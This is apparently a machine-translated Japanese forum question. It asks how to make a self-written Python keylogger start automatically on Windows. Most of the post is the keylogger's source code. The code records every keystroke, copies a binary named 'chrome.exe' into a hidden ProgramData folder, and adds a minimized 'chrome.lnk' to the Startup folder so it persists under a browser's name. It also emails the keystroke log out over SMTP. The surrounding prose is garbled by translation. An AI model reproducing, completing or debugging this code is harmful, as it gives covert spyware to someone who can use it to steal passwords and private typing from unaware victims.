-2
新しいコーディングで、何か助けが必要です。 Googleの例を使って簡単な「keylogger」を作った。すべてがうまくいっていますが、私はキーロガーをオートスタートに自動追加する方法はわかりません。私は、自動コピーファイルを、最初に管理者権限で実行した後、選択した宛先に送ってから、自動スタートにショートカットを送信しました。しかし、問題は、コンピュータを再起動するたびに、管理者権限が必要なので、警告を発するだけです。起動スクリプトがうまくいきません。スクリプトがこの瞬間にクラッシュします。私はそのスクリプトが毎回試してみると、たとえ既に存在していても、自動スタートにファイルを追加しようとしているからだと思います。あなたが見ることができるようにここでのコードは、ですが、私はブロックifexcept試みたが、私は:(Python;スタートアップ時にキーロガーが実行されています
import logging
from pynput.keyboard import Key, Listener
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import win32com.client
import pythoncom
import os
import pathlib
pathlib.Path('C:\ProgramData\degid').mkdir(parents=True, exist_ok=True)
pathlib.Path('C:\ProgramData\degid\degid.txt').touch(mode=0o666, exist_ok=True)
import shutil
srcfile = 'chrome.exe'
dstroot = 'C:\ProgramData\degid'
dstdir = os.path.join(dstroot, os.path.dirname(srcfile))
shutil.copy(srcfile, dstdir)
filePath = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'
if os.path.exists(filePath):
if os.path.isfile(filePath+'chrome.lnk')==False:
try:
desktop = r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'
path = os.path.join(desktop, 'chrome.lnk')
target = r'C:\ProgramData\degid\chrome.exe'
shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut(path)
shortcut.Targetpath = target
shortcut.WindowStyle = 7 # 7 - Minimized, 3 - Maximized, 1 - Normal
shortcut.save()
except:
pass
email_user = ''
email_password = ''
email_send = ''
subject = ''
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Hi there'
msg.attach(MIMEText(body,'plain'))
filename='C:\ProgramData\degid\degid.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('', 587)
server.starttls()
server.login(email_user,email_password)
server.sendmail(email_user,email_send,text)
server.quit()
log_dir =""
logging.basicConfig(filename=(log_dir+'C:\ProgramData\degid\degid.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()